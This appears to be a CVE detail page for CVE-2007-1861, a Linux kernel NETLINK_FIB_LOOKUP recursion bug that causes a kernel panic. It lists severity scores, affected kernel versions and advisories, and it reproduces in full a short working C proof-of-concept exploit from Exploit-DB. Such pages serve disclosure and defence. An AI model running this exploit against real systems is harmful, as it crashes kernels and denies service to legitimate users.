CVE-2007-1861 : Detail

CVE-2007-1861

1.19%V4
Local
2007-05-07
17h00 +00:00
2018-10-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The nl_fib_lookup function in net/ipv4/fib_frontend.c in Linux Kernel before 2.6.20.8 allows attackers to cause a denial of service (kernel panic) via NETLINK_FIB_LOOKUP replies, which trigger infinite recursion and a stack overflow.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 29916

Publication date : 2007-04-25 22h00 +00:00
Author : Alexey Kuznetsov
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/23677/info The Linux kernel is prone to a denial-of-service vulnerability. This issue presents itself when a NETLINK message is misrouted. A local attacker may exploit this issue to trigger an infinite-recursion stack-based overflow in the kernel. This results in a denial of service to legitimate users. Versions prior to 2.6.20.8 are vulnerable. */ #include <assert.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <memory.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> /* stolen from kernel source ... could be a problem here ... */ struct fib_result_nl { uint32_t fl_addr; /* To be looked up*/ uint32_t fl_fwmark; unsigned char fl_tos; unsigned char fl_scope; unsigned char tb_id_in; unsigned char tb_id; /* Results */ unsigned char prefixlen; unsigned char nh_sel; unsigned char type; unsigned char scope; int err; }; struct msg { struct nlmsghdr nh; struct fib_result_nl frn; }; int main() { struct msg msg; struct sockaddr_nl sa; int fd; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_pid = getpid(); assert((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_FIB_LOOKUP)) > 0); assert(bind(fd, (struct sockaddr*)&sa, sizeof(sa)) == 0); sa.nl_pid = 0; memset(&msg, 0, sizeof(msg)); msg.nh.nlmsg_len = sizeof(msg); msg.nh.nlmsg_flags = NLMSG_DONE; assert(sendto(fd, &msg, sizeof(msg), 0, (void*)&sa, sizeof(sa)) > 0); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.20.8

Linux>>Linux_kernel >> Version 2.6.0

Linux>>Linux_kernel >> Version 2.6.1

Linux>>Linux_kernel >> Version 2.6.2

Linux>>Linux_kernel >> Version 2.6.3

Linux>>Linux_kernel >> Version 2.6.4

Linux>>Linux_kernel >> Version 2.6.5

Linux>>Linux_kernel >> Version 2.6.6

Linux>>Linux_kernel >> Version 2.6.7

Linux>>Linux_kernel >> Version 2.6.8

Linux>>Linux_kernel >> Version 2.6.8.1

Linux>>Linux_kernel >> Version 2.6.9

Linux>>Linux_kernel >> Version 2.6.10

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11.1

Linux>>Linux_kernel >> Version 2.6.11.2

Linux>>Linux_kernel >> Version 2.6.11.3

Linux>>Linux_kernel >> Version 2.6.11.4

Linux>>Linux_kernel >> Version 2.6.11.5

Linux>>Linux_kernel >> Version 2.6.11.6

Linux>>Linux_kernel >> Version 2.6.11.10

Linux>>Linux_kernel >> Version 2.6.11.11

Linux>>Linux_kernel >> Version 2.6.11.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12.1

Linux>>Linux_kernel >> Version 2.6.12.2

Linux>>Linux_kernel >> Version 2.6.12.3

Linux>>Linux_kernel >> Version 2.6.12.4

Linux>>Linux_kernel >> Version 2.6.12.5

Linux>>Linux_kernel >> Version 2.6.12.6

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13.1

Linux>>Linux_kernel >> Version 2.6.13.2

Linux>>Linux_kernel >> Version 2.6.13.3

Linux>>Linux_kernel >> Version 2.6.13.4

Linux>>Linux_kernel >> Version 2.6.13.5

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14.1

Linux>>Linux_kernel >> Version 2.6.14.2

Linux>>Linux_kernel >> Version 2.6.14.3

Linux>>Linux_kernel >> Version 2.6.14.4

Linux>>Linux_kernel >> Version 2.6.14.5

Linux>>Linux_kernel >> Version 2.6.14.6

Linux>>Linux_kernel >> Version 2.6.14.7

Linux>>Linux_kernel >> Version 2.6.15

Linux>>Linux_kernel >> Version 2.6.15.1

Linux>>Linux_kernel >> Version 2.6.15.2

Linux>>Linux_kernel >> Version 2.6.15.3

Linux>>Linux_kernel >> Version 2.6.15.4

Linux>>Linux_kernel >> Version 2.6.15.5

Linux>>Linux_kernel >> Version 2.6.15.6

Linux>>Linux_kernel >> Version 2.6.15.7

Linux>>Linux_kernel >> Version 2.6.16

Linux>>Linux_kernel >> Version 2.6.16.1

Linux>>Linux_kernel >> Version 2.6.16.2

Linux>>Linux_kernel >> Version 2.6.16.3

Linux>>Linux_kernel >> Version 2.6.16.4

Linux>>Linux_kernel >> Version 2.6.16.5

Linux>>Linux_kernel >> Version 2.6.16.6

Linux>>Linux_kernel >> Version 2.6.16.7

Linux>>Linux_kernel >> Version 2.6.16.8

Linux>>Linux_kernel >> Version 2.6.16.9

Linux>>Linux_kernel >> Version 2.6.16.10

Linux>>Linux_kernel >> Version 2.6.16.11

Linux>>Linux_kernel >> Version 2.6.16.12

Linux>>Linux_kernel >> Version 2.6.16.13

Linux>>Linux_kernel >> Version 2.6.16.14

Linux>>Linux_kernel >> Version 2.6.16.15

Linux>>Linux_kernel >> Version 2.6.16.16

Linux>>Linux_kernel >> Version 2.6.16.17

Linux>>Linux_kernel >> Version 2.6.16.18

Linux>>Linux_kernel >> Version 2.6.16.19

Linux>>Linux_kernel >> Version 2.6.16.20

Linux>>Linux_kernel >> Version 2.6.16.21

Linux>>Linux_kernel >> Version 2.6.16.22

Linux>>Linux_kernel >> Version 2.6.16.23

Linux>>Linux_kernel >> Version 2.6.16.24

Linux>>Linux_kernel >> Version 2.6.16.25

Linux>>Linux_kernel >> Version 2.6.16.26

Linux>>Linux_kernel >> Version 2.6.16.27

Linux>>Linux_kernel >> Version 2.6.16.28

Linux>>Linux_kernel >> Version 2.6.16.29

Linux>>Linux_kernel >> Version 2.6.16.30

Linux>>Linux_kernel >> Version 2.6.16.31

Linux>>Linux_kernel >> Version 2.6.16.32

Linux>>Linux_kernel >> Version 2.6.16.33

Linux>>Linux_kernel >> Version 2.6.16.34

Linux>>Linux_kernel >> Version 2.6.16.35

Linux>>Linux_kernel >> Version 2.6.16.36

Linux>>Linux_kernel >> Version 2.6.16.37

Linux>>Linux_kernel >> Version 2.6.16.38

Linux>>Linux_kernel >> Version 2.6.16.39

Linux>>Linux_kernel >> Version 2.6.16.40

Linux>>Linux_kernel >> Version 2.6.16.41

Linux>>Linux_kernel >> Version 2.6.16.42

Linux>>Linux_kernel >> Version 2.6.16.43

Linux>>Linux_kernel >> Version 2.6.16.44

Linux>>Linux_kernel >> Version 2.6.16.45

Linux>>Linux_kernel >> Version 2.6.16.46

Linux>>Linux_kernel >> Version 2.6.16.47

Linux>>Linux_kernel >> Version 2.6.16.48

Linux>>Linux_kernel >> Version 2.6.16.49

Linux>>Linux_kernel >> Version 2.6.16.50

Linux>>Linux_kernel >> Version 2.6.16.51

Linux>>Linux_kernel >> Version 2.6.16.52

Linux>>Linux_kernel >> Version 2.6.16.53

Linux>>Linux_kernel >> Version 2.6.16.54

Linux>>Linux_kernel >> Version 2.6.16.55

Linux>>Linux_kernel >> Version 2.6.16.56

Linux>>Linux_kernel >> Version 2.6.16.57

Linux>>Linux_kernel >> Version 2.6.16.58

Linux>>Linux_kernel >> Version 2.6.16.59

Linux>>Linux_kernel >> Version 2.6.16.60

Linux>>Linux_kernel >> Version 2.6.16.61

Linux>>Linux_kernel >> Version 2.6.16.62

Linux>>Linux_kernel >> Version 2.6.17

Linux>>Linux_kernel >> Version 2.6.17.1

Linux>>Linux_kernel >> Version 2.6.17.2

Linux>>Linux_kernel >> Version 2.6.17.3

Linux>>Linux_kernel >> Version 2.6.17.4

Linux>>Linux_kernel >> Version 2.6.17.5

Linux>>Linux_kernel >> Version 2.6.17.6

Linux>>Linux_kernel >> Version 2.6.17.7

Linux>>Linux_kernel >> Version 2.6.17.8

Linux>>Linux_kernel >> Version 2.6.17.9

Linux>>Linux_kernel >> Version 2.6.17.10

Linux>>Linux_kernel >> Version 2.6.17.11

Linux>>Linux_kernel >> Version 2.6.17.12

Linux>>Linux_kernel >> Version 2.6.17.13

Linux>>Linux_kernel >> Version 2.6.17.14

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18.1

Linux>>Linux_kernel >> Version 2.6.18.3

Linux>>Linux_kernel >> Version 2.6.18.5

Linux>>Linux_kernel >> Version 2.6.18.6

Linux>>Linux_kernel >> Version 2.6.18.8

Linux>>Linux_kernel >> Version 2.6.19

Linux>>Linux_kernel >> Version 2.6.19.2

Linux>>Linux_kernel >> Version 2.6.19.3

Linux>>Linux_kernel >> Version 2.6.19.4

Linux>>Linux_kernel >> Version 2.6.19.5

Linux>>Linux_kernel >> Version 2.6.19.6

Linux>>Linux_kernel >> Version 2.6.19.7

Linux>>Linux_kernel >> Version 2.6.20

Linux>>Linux_kernel >> Version 2.6.20.1

Linux>>Linux_kernel >> Version 2.6.20.2

Linux>>Linux_kernel >> Version 2.6.20.3

Linux>>Linux_kernel >> Version 2.6.20.4

Linux>>Linux_kernel >> Version 2.6.20.5

Linux>>Linux_kernel >> Version 2.6.20.6

Linux>>Linux_kernel >> Version 2.6.20.7

References

http://www.redhat.com/support/errata/RHSA-2007-0347.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/25030
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/23677
Tags : vdb-entry, x_refsource_BID
http://www.mandriva.com/security/advisories?name=MDKSA-2007:171
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.debian.org/security/2007/dsa-1289
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/25288
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25083
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26620
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/1595
Tags : vdb-entry, x_refsource_VUPEN
http://www.ubuntu.com/usn/usn-489-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/25228
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/archive/1/471457
Tags : mailing-list, x_refsource_BUGTRAQ
http://secunia.com/advisories/25961
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-486-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/25691
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26139
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26133
Tags : third-party-advisory, x_refsource_SECUNIA